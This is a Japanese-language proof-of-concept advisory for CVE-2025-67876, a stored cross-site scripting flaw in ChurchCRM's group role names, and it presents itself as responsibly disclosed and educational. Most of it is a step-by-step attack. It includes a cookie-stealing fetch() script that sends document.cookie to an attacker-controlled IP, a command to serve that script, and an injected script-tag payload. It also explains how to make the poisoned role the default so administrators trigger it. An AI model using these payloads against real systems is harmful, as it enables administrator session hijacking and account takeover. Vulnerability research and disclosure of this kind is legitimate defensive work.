
CVE-2025-67876の詳細な概念実証。ChurchCRMのグループロール名の保存型XSSによる管理者セッションハイジャックを示し、完全なエクスプロイト解説と是正推奨事項を提供。
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2025-67876 |
| 深刻度 | CRITICAL |
| アドバイザリ | アドバイザリを表示 |
| 発見者 | Lukasz Rybak |
ChurchCRMには、「グループの管理(Manage Groups)」権限を持つ低権限ユーザーがグループ役割名に永続的なJavaScriptを注入できる保存型クロスサイトスクリプティング(XSS)の脆弱性が存在します。ペイロードはデータベースに保存され、管理者を含むすべてのユーザーがGroupView.phpやPersonView.phpなど、その役割を表示するページを閲覧するたびに実行されます。これにより、完全なセッションハイジャックとアカウント乗っ取りが可能になります。
根本原因は、グループ役割名の処理における入力検証と出力エンコーディングの欠如です。
GroupEditor.phpでグループを編集する際、ユーザーは役割名を変更できます。アプリケーションは入力をサニタイズしません(例: strip_tags、htmlspecialchars、サーバーサイド検証のいずれもなし)。値はlist_lstデータベーステーブルに保存されます。
その後、保存された値はエスケープされずに直接HTMLに注入されます:
<span>で囲まれたテーブルセル内に表示されます。したがって、(Manage Groups権限を持つ)低権限ユーザーは、役割にJavaScriptを注入し、その役割を管理者に割り当てることで、権限を完全な管理者へと昇格させることができます。
攻撃者が管理するマシン上にx.jsを作成します:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
ファイルを配信します:
python3 -m http.server 800
Manage Groups権限を持つユーザーとしてログインします。
以下へ移動します: グループ → グループ一覧 → 任意のグループを選択 → 設定(Settings)。
「グループ役割(Group Roles)」セクションで、既存の役割を編集するか新しい役割を作成します。
悪意のあるペイロードを挿入します:
"><script src=//172.20.0.1:800/x.js></script>

グループ役割リストで、XSSペイロードを注入した役割の横にある「デフォルト(Default)」をクリックします。
これにより、グループに追加されたすべてのユーザーに悪意のある役割が自動的に割り当てられ、管理者がプロフィールを表示した際にXSSが発動する可能性が高まります。
以前のデフォルト役割(通常は「メンバー(Member)」)の横にある「削除(Delete)」をクリックします。
クリーンなデフォルト役割を削除することで、システムは今後のすべての割り当てにXSSが注入された役割を使用せざるを得なくなり、被害者が自分の割り当て役割を表示する任意のページを閲覧したときに確実に実行されます。

グループ表示(Group View)ページに移動します。
任意のユーザーをグループメンバーとして追加します(例: Church Admin)。
ドロップダウンから悪意のある役割を選択します。
割り当てを保存します。
被害者(管理者)が以下を訪問すると:
自分のユーザープロフィール: PersonView.php
グループ表示ページ: GroupView.php
保存されたJavaScriptが即座に実行されます。
攻撃者サーバーでは、着信リクエストが表示されます:


これにより、アカウント乗っ取りが成功したことが確認されます。
CWE-79: ウェブページ生成時における入力の不適切な無害化('Cross-site Scripting')
このCVEは、調整された脆弱性開示の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを目的としています。